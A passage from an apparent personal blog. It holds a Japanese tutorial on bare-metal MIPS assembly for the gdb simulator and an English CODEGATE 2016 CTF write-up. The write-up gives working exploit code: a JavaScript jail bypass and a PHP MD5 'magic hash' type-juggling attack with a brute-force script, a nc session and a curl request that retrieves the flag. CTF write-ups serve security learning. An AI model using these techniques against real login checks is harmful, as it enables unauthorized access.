__write: # sim/mips/interp.c (case 8: write()) .long 0x405 # 8 << 7 | 0x5 = 0x400 | 0x5 - jr $ra nop
スタートアップルーチン
プログラムを実行するためにまず初期化の処理をする。 コンパイラが自動でしてくれない以下の処理を自分で記述せねばならない。
『熱血!アセンブラ入門』を参考に以下のスタートアップルーチンを書いた。 32ビットのスタックポインタの設定が一命令で完結しないのは即値が16ビットの幅しかないためである。
また、_start
をgccにスタートアップのシンボルとして認識してもらうために、_start
シンボルを.globl(.global)
ディレクティブでエクスポートした。
.globl _start _start: lui $sp, %hi(_estack) addiu $sp, $sp, %lo(_estack) jal main nop # daley slot move $a0, $v0 # exit(0)
残りのアセンブリを書く
mipsでは関数の引数はregister渡しである。第一引数は$a0、第二引数は$a1という具合だ。 write()を呼び出すアセンブリはこのようになる。
# in mips, function parameters are passed by registers li $a0, 1 la $a1, hello li $a2, 12 jal __write # write(stdout, "Hello World\n", 12)
mainが終了した後はexit()でシミュレーションを終了させたい。 exit()はこのように書けばシミュレータを終了させることができる。
_exit: # sim/mips/interp.c (case 17: _exit()) .long 0x885 # 17 << 7 | 0x5 = 0x880 | 0x005 jr $ra nop # delay slot
最後に気をつけたいのはリターンアドレスを関数を呼び出す前に保存し、関数から戻ったらそれを復元することだ。
mipsで関数funcを扱うとき、呼び出しはjal func
と書き、呼び出し元に戻る処理はjr $ra
と書く。
mipsのjal(jump and link)命令はリターンアドレスレジスタ$raに現在の$pcの値をセットする。
$raは呼び出し1回ぶんしか保存できないので、例えばmain()→write()と呼び出したとき、write()を呼び出しで$raが上書きされ、
main()でjr $ra
をしてmain()の呼び出し元に戻ることができなくなってしまう。
jr(jump register)命令はターゲットのレジスタに入っているアドレスにジャンプする命令である。
対策としてmain()で$raをスタックに保存&リストアする処理を書く(hello.s参照)。
完成したソースhello.sとし保存する。
.data hello: .asciiz "Hello World\n" .text .globl _start _start: lui $sp, %hi(_estack) addiu $sp, $sp, %lo(_estack) subu $sp, $sp, 4 sw $ra, 0($sp) jal main nop # daley slot lw $ra, 0($sp) addu $sp, $sp, 4 move $a0, $v0 # exit(0) _exit: # sim/mips/interp.c (case 17: _exit()) .long 0x885 # 17 << 7 | 0x5 = 0x880 | 0x005 jr $ra nop # delay slot __write: # sim/mips/interp.c (case 8: write()) .long 0x405 # 8 << 7 | 0x5 = 0x400 | 0x5 - jr $ra nop main: subu $sp, $sp, 4 # push stack sw $ra, 0($sp) # save return address # in mips, function parameters are passed by registers li $a0, 1 la $a1, hello li $a2, 12 jal __write # write(stdout, "Hello World\n", 12) lw $ra, 0($sp) # restore return address addu $sp, $sp, 4 # pop stack li $v0, 0 # return 0 jr $ra nop
リンカスクリプト編
さーて書けたぞーということでstdlibなしでコンパイルしたいところだが、_estak
の値(スタックポインタの初期位置)をコンパイルに教えねばならない。
また、メモリのマッピングをgdbのsimに合わせねばならない。
これを実現するのがリンカスクリプトである。
リンカスクリプトを書くために以下の情報が必要である。
- エントリポイントのアドレス
- スタック領域の終わりのアドレス(スタックはアドレスが小さい方に向かって伸びる)
情報を集める前にmipsのメモリマップの図が欲しいところだ。幸いWikipediaのR3000の頁にあった。
sim/mips/interp.cを探すと以下のアドレスの情報を見つけることができる。
121 /* Note that the monitor code essentially assumes this layout of memory. 122 If you change these, change the monitor code, too. */ 123 /* FIXME Currently addresses are truncated to 32-bits, see 124 mips/sim-main.c:address_translation(). If that changes, then these 125 values will need to be extended, and tested for more carefully. */ 126 #define K0BASE (0x80000000) 127 #define K0SIZE (0x20000000) 128 #define K1BASE (0xA0000000) 129 #define K1SIZE (0x20000000)
先ほどの図から察するに、プログラムはkナントカのスペースを使えば良さそうなので、
K0BASEの値をエントリポイント、K1BASE+K1SIZE-4を_estack
の値にする
(細かいことを気にしなければ_estackがK1BASEでも問題なく動く)。
ENTRY(_start) OUTPUT_FORMAT("elf32-bigmips", "elf32-bigmips", "elf32-big-mips"); /* sim/mips/interep.c: K1BASE + K1SIZE - 4 */ _estack = 0xBFFFFFFC; SECTIONS { /* sim/mips/interep.c: K0BASE */ . = 0x80000000; .text : { _ftext = . ; PROVIDE (eprol = .); *(.text) *(.text.*) } }
コンパイル編
stldlibなしで、先のリンカスクリプトを指定してコンパイルする。
[user@localhost mips]$ mips-elf-gcc -T mips.lds -nostdlib 1.s
実行
2通りで実行してみた。
sim_monitorのメッセージが嫌な人は回避策が『熱血!アセンブラ入門』に書かれているので購入をすすめる(ステマ)。
ヒントはsleep()
。
gdbのシミュレータに接続して実行する方法
一回目のr
で怒られたのはわざとやで((((;゚Д゚))))
[user@localhost mips]$ mips-elf-gdb -q a.out Reading symbols from /home/user/project/mips/a.out...(no debugging symbols found)...done. (gdb) target sim Connected to the simulator. (gdb) r Starting program: /home/user/project/mips/a.out warning: No program loaded. [Inferior 1 (process 42000) exited with code 057] (gdb) load Loading section .text, size 0x80 vma 0x80000000 Loading section .data, size 0xd vma 0x80000080 Start address 0x80000000 Transfer rate: 1128 bits in <1 sec. (gdb) r Starting program: /home/user/project/mips/a.out Hello World sim_monitor(17): _exit(int reason) to be coded [Inferior 1 (process 42000) exited normally] (gdb) q
runで実行する方法
[user@localhost mips]$ mips-elf-run a.out Hello World sim_monitor(17): _exit(int reason) to be coded
参考文献
- 熱血!アセンブラ入門 : 坂井 弘亮 : 本 : Amazon.co.jp
- X86アセンブラ/GASでの文法 - Wikibooks
- mikan++>STM32F>リンカスクリプト
- MIPS(4)
- MIPS Instruction Reference
この辺の話が好きな方は組込み技術者向け「初めてのC言語」にアクセスするとよいだろう。 (ドメインから察するに名大の情報コースの高田研の人が書いたっぽい。さすが…)
CODEGATE 2016 Quals - Writeup
i participated in CODEGATE 2016 Quals as a member of Ping-Mic.
solved:
- JS_is_not_a_jail (misc100)
helped to solve:
- Combination Pizza (web222)
JS_is_not_a_jail
First, i checked challenge100
function.
[JavaScript Jail] let start to type on 'challenge100' V8 version 5.1.0 (candidate) d8> challenge100 function (arr) { var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6"; var check = "20150303"; if((arr === null || arr === undefined)) { print("arr is null or undefined."); return; } if(!arr.hasOwnProperty('length')) { print("length property is null or undefined."); return; } if(arr.length >= 0) { print("i think you're not geek. From now on, a GEEK Only!"); return; } if(Object.getPrototypeOf(arr) !== Array.prototype) { print("Oh.... can you give me an array?"); return; } var length = check.length; for(var i=0;i<length;i++) { arr[i] = random_value[Math.floor(Math.random() * random_value.length)]; } for(i=0;i<length;i++) { if(arr[i] !== check[i]) { print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)"); return; } } print("Yay!!"); print(flag); } d8>
Next, I made class MyArray
. It has length
propaty which returns -1
, and its value cannot be re-write.
To prohibit re-write value, i used Object.defineProperty().
MyArray = function (){ this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; var _arr = MyArray(); console.log(Object.getOwnPropertyNames(_arr)); for(var i = 0; i <= 7; i+=1){ _arr = Object.defineProperty(_arr, i.toString(10), { writable: false }); } console.log(_arr.length); challenge100(_arr); function challenge100 (arr) { var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6"; var check = "20150303"; var print = console.log; var flag = "test_flag{this is test}"; if((arr === null || arr === undefined)) { print("arr is null or undefined."); return; } if(!arr.hasOwnProperty('length')) { print("length property is null or undefined."); return; } if(arr.length >= 0) { print("i think you're not geek. From now on, a GEEK Only!"); return; } if(Object.getPrototypeOf(arr) !== Array.prototype) { print("Oh.... can you give me an array?"); return; } var length = check.length; for(var i=0;i<length;i++) { arr[i] = random_value[Math.floor(Math.random() * random_value.length)]; } console.log(arr); for(i=0;i<length;i++) { if(arr[i] !== check[i]) { print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)"); return; } } print("Yay!!"); print(flag); }
Third, i ran this code locally to see if it works. node
is good for debugging environment.
Finally, i formatted this code, and pasted to JavaScript Jail.
MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; var _arr = MyArray(); console.log(Object.getOwnPropertyNames(_arr)); for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });}
$ nc 175.119.158.131 1129 [JavaScript Jail] let start to type on 'challenge100' V8 version 5.1.0 (candidate) d8> MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; var _arr = MyArray(); console.log(Object.getOwnPropertyNames(_arr)); for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });} challenge100(_arr);MyArray = function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; }; function (){this.__proto__ = Array.prototype; this[0] = "2"; this[1] = "0"; this[2] = "1"; this[3] = "5"; this[4] = "0"; this[5] = "3"; this[6] = "0"; this[7] = "3"; this.length = -1; return this; } d8> var _arr = MyArray(); undefined d8> console.log(Object.getOwnPropertyNames(_arr)); (d8):1: ReferenceError: console is not defined console.log(Object.getOwnPropertyNames(_arr)); ^ ReferenceError: console is not defined at (d8):1:1 d8> for(var i = 0; i <= 7; i+=1){_arr = Object.defineProperty(_arr, i.toString(10), { writable: false });} [] d8> challenge100(_arr);challenge100(_arr); Yay!! flag is "easy xD, get a more hardest challenge!" undefined
Combination Pizza
This is _login_ck.php
:
<?php include "./lib/for_flag.php"; include "./lib/lib.php"; $user = mysql_real_escape_string($_POST['user']); $pass = mysql_real_escape_string($_POST['pass']); $token = $_POST['token']; $que = "select user from login where user='{$user}' and pass=md5('{$pass}')"; $result = mysql_query($que); $row = mysql_fetch_array($result); if($row['user'] == 'Admin') { if(md5("blog".$token) == '0e689047178306969035064392896674') { echo "good job !!!<br />FLAG : <b>".$flag."</b>"; } else { echo "Incorrect Token"; } } else { echo "Incorrect ID or Password"; } ?>
i noticed that md5("blog".$token) == '0e689047178306969035064392896674'
should be 0 == 0
(numeric compare) in a cirtain $token
.
@mrtc0 found this post:
PHP: md5('240610708') == md5('QNKCDZO') | Hacker News
So i ran this php script:
<?php $test = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "p", "Q", "R", "S", "T", "U"]; for($i = 0, $len = count($test); $i < $len; $i += 1){ for($j = 0, $len = count($test); $j < $len; $j += 1){ for($k = 0, $len = count($test); $k < $len; $k += 1){ for($l = 0, $len = count($test); $l < $len; $l += 1){ for($m = 0, $len = count($test); $m < $len; $m += 1){ $token = "\n" . $test[$i] . $test[$j] . $test[$k] . $test[$l] . $test[$m]; if(md5("blog".$token) == '0e689047178306969035064392896674'){ echo "\$token = " . urlencode($token) . "\n => " . md5("blog".$token) . "\n"; } } } } } }
$ php ./web222_n.php $token = %0AtDMwy => 0e163908937933900237353340463810
Good!! $token = "%0AtDMwy"
gives me the flag:
curl http://175.119.158.137:9242/f00885da9ad9ad5fcccaa8fc1217e3ae/login_ck.php -d "user=Admin" -d "pass=adminpw" -d 'token=%0AtDMwy' good job !!!<br />FLAG : <b>jjambbong_WEBHACKING!!@!</b